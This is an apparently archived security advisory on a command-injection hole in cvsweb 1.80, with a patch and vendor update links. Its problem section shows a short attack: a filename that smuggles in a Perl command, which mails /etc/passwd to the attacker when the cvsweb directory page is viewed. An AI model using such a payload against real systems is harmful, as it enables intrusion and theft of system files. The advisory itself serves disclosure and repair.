COMMAND

    cwsweb

SYSTEMS AFFECTED

    cwsweb 1.80

PROBLEM

    Joey  Hess  found  following.   Cvsweb  1.80  contains a hole that
    provides attackers who have write access to a cvs repository  with
    shell access.   Thus, attackers  who have  write access  to a  cvs
    repository but not shell access can obtain a shell.  In  addition,
    anyone with  write access  to a  cvs repository  that is  viewable
    with cvsweb can get access to whatever user the cvsweb cgi  script
    runs as (typically nobody or www-data, etc).

    An attack looks something like this:

        SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
        touch $SHELLCODE
        cvs add $SHELLCODE
        cvs commit -m '' $SHELLCODE

    Then  the  attacker  either  visits  the  cvsweb  page  that  is a
    directory listing for the directory  they put the trojan file  in,
    or they wait for someone else to do the same.  Views of this  page
    cause  the  command  to  be  executed,  mailing /etc/passwd to the
    attacker or [insert something more nasty here].

    Of course,  the attacker  has left  quite a  trail: web server log
    entries  and  odd  looking  files  in  the cvs repository with the
    attacker's name on them.

    The code that is being exploited here is the following:

        open($fh, "rlog '$filenames' 2>/dev/null |")

    Cvsweb is littered with possibly exploitable pipe-opens like  this
    one.

SOLUTION

    A patch  for all  of them  follows.   This is  against cvsweb 1.80
    from

        http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/

    (version 1.86 has now been released, closing the hole):

    --- cvsweb.cgi	2000/05/24 07:10:31	1.10
    +++ cvsweb.cgi	2000/07/07 03:32:21
    @@ -1185,23 +1185,22 @@
         }

         if (defined($rev)) {
    -	$revopt = "-r'$rev'";
    +	$revopt = "-r$rev";
         }
         else {
 	    $revopt = "";
         }

    -    # this may not be quoted with single quotes
    -    # in windows .. but should in U*nx. there
    -    # is a function which allows for quoting `evil`
    -    # characters somewhere, I know (buried in the Perl-manpage)
    -    ##
         ### just for the record:
         ### 'cvs co' seems to have a bug regarding single checkout of
         ### directories/files having spaces in it;
         ### this is an issue that should be resolved on cvs's side
    -    open($fh, "cvs -d'$cvsroot' co -p $revopt '$where' 2>&1 |") ||
    -    	&fatal("500 Internal Error", "Couldn't co: $!");
    +    #
    +    # Safely fork a child process to read from.
    +    if (! open($fh, "-|")) { # child
    +    	open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
    +	exec("cvs", "-d$cvsroot", "co", "-p", $revopt, $where);
    +    }
     #===================================================================
     #Checking out squid/src/ftp.c
     #RCS:  /usr/src/CVS/squid/src/ftp.c,v
    @@ -1298,7 +1297,7 @@
     sub doDiff {
 	    my($fullname, $r1, $tr1, $r2, $tr2, $f) = @_;
             my $fh = do {local(*FH);};
    -	my ($rev1, $rev2, $sym1, $sym2, $difftype, $diffname, $f1, $f2);
    +	my ($rev1, $rev2, $sym1, $sym2, @difftype, $diffname, $f1, $f2);

 	    if ($r1 =~ /([^:]+)(:(.+))?/) {
 	        $rev1 = $1;
    @@ -1333,25 +1332,25 @@
 	    }
 	    my $human_readable = 0;
 	    if ($f eq 'c') {
    -	    $difftype = '-c';
    +	    @difftype = qw{-c};
 	        $diffname = "Context diff";
 	    }
 	    elsif ($f eq 's') {
    -	    $difftype = '--side-by-side --width=164';
    +	    @difftype = qw{--side-by-side --width=164};
 	        $diffname = "Side by Side";
 	    }
 	    elsif ($f eq 'H') {
 	        $human_readable = 1;
    -	    $difftype = '--unified=15';
    +	    @difftype = qw{--unified=15};
 	        $diffname = "Long Human readable";
 	    }
 	    elsif ($f eq 'h') {
    -	    $difftype = '-u';
    +	    @difftype =qw{-u};
 	        $human_readable = 1;
 	        $diffname = "Human readable";
 	    }
 	    elsif ($f eq 'u') {
    -	    $difftype = '-u';
    +	    @difftype = qw{-u};
 	        $diffname = "Unidiff";
 	    }
 	    else {
    @@ -1361,22 +1360,19 @@
 	    # apply special options
 	    if ($human_readable) {
 	        if ($hr_funout) {
    -		$difftype = $difftype . ' -p';
    +	    	push @difftype, '-p';
 	        }
 	        if ($hr_ignwhite) {
    -		$difftype = $difftype . ' -w';
    +	    	push @difftype, '-w';
 	        }
 	        if ($hr_ignkeysubst) {
    -		$difftype = $difftype . ' -kk';
    +	    	push @difftype, '-kk';
 	        }
 	    }
    -## cvs rdiff doesn't support '-p' and '-w' option .. sad
    -#	open($fh, "cvs -d $cvsroot rdiff $difftype " .
    -#	              "-r$rev1 -r$rev2 '$where' 2>&1 |")
    -#	    || &fatal("500 Internal Error", "Couldn't cvs rdiff: $!");
    -###
    -	open($fh, "rcsdiff $difftype -r$rev1 -r$rev2 '$fullname' 2>&1 |")
    -	    || &fatal("500 Internal Error", "Couldn't GNU rcsdiff: $!");
    +	if (! open($fh, "-|")) { # child
    +		open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
    +		exec("rcsdiff",@difftype,"-r$rev1","-r$rev2",$fullname);
    +	}
 	    if ($human_readable) {
 	        http_header();
 	        &human_readable_diff($fh, $rev2);
    @@ -1402,7 +1398,7 @@
     #--- src/sys/netinet/tcp_output.c     1995/12/05 17:46:35     1.17 RELENG_2_1_0
     # (bogus example, but...)
     #
    -	if ($difftype eq '-u') {
    +	if (grep { $_ eq '-u'} @difftype) {
 	        $f1 = '---';
 	        $f2 = '\+\+\+';
 	    }
    @@ -1455,15 +1451,19 @@
 	    return;
         }

    -    my ($filenames) = join("' '",@files);
         if ($tag) {
 	    #can't use -r<tag> as - is allowed in tagnames, but misinterpreated by rlog..
    -	open($fh, "rlog '$filenames' 2>/dev/null |")
    -	    || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
    +	if (! open($fh, "-|")) {
    +		close(STDERR); # rlog may complain; ignore.
    +		exec("rlog",@files);
    +	}
         }
         else {
    -	open($fh, "rlog -r '$filenames' 2>/dev/null |")
    -	    || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
    +    	my $kidpid = open($fh, "-|");
    +	if (! $kidpid) {
    +		close(STDERR); # rlog may complain; ignore.
    +		exec("rlog","-r",@files);
    +	}
         }
         $state = "start";
         while (<$fh>) {
    @@ -1591,7 +1591,7 @@
         }
         if ($. == 0) {
 	    fatal("500 Internal Error",
    -	      "Failed to spawn GNU rlog on <em>'$filenames'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
    +	      "Failed to spawn GNU rlog on <em>'".join(", ", @files)."'</em><p>did you set the <b>\$ENV{PATH}</b> in your configuration file correctly ?");
         }
         close($fh);
     }
    @@ -1618,9 +1618,14 @@
 	    undef %log;

 	    print("Going to rlog '$fullname'\n") if ($verbose);
    -	open($fh, "rlog $revision '$fullname'|")
    -	    || &fatal("500 Internal Error", "Failed to spawn rlog");
    -
    +	if (! open($fh, "-|")) { # child
    +		if ($revision ne '') {
    +			exec("rlog",$revision,$fullname);
    +		}
    +		else {
    +			exec("rlog",$fullname);
    +		}
    +	}
 	    while (<$fh>) {
 	        print if ($verbose);
 	        if ($symnames) {

    For Linux-Mandrake:

        7.1/RPMS/cvsweb-1.80-3mdk.noarch.rpm
        7.1/SRPMS/cvsweb-1.80-3mdk.src.rpm

    For Debian Linux:

        http://security.debian.org/dists/stable/updates/source/cvsweb_109.dsc
        http://security.debian.org/dists/stable/updates/source/cvsweb_109.tar.gz
        http://security.debian.org/dists/stable/updates/binary-all/cvsweb_109_all.deb

        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.diff.gz
        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79-3potato1.dsc
        http://http.us.debian.org/debian/dists/potato/main/source/devel/cvsweb_1.79.orig.tar.gz
        http://http.us.debian.org/debian/dists/potato/main/binary-all/devel/cvsweb_1.79-3potato1.deb

        http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.diff.gz
        http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86-1.dsc
        http://http.us.debian.org/debian/dists/woody/main/source/devel/cvsweb_1.86.orig.tar.gz
        http://http.us.debian.org/debian/dists/woody/main/binary-all/devel/cvsweb_1.86-1.deb

    For TurboLinux:

        ftp://ftp.turbolinux.com/pub/updates/6.0/security/cvsweb-1.91-3.noarch.rpm
        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/cvsweb-1.91-3.src.rpm

    SuSE-Linux either  does not  contain these  packages or  the files
    therein causing the publically announced security vulnerabilities.

    For FreeBSD  deinstall the  cvsweb port/package,  if you  you have
    installed it.  One of the following:

        1) Upgrade your entire ports collection and rebuild the cvsweb
           port.
        2) Deinstall the old package  and install a new package  dated
           after the correction date, obtained from:
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/devel/cvsweb-1.93.1.10.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/devel/cvsweb-1.93.1.10.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/devel/cvsweb-1.93.1.10.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/devel/cvsweb-1.93.1.10.tgz
           ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/devel/cvsweb-1.93.1.10.tgz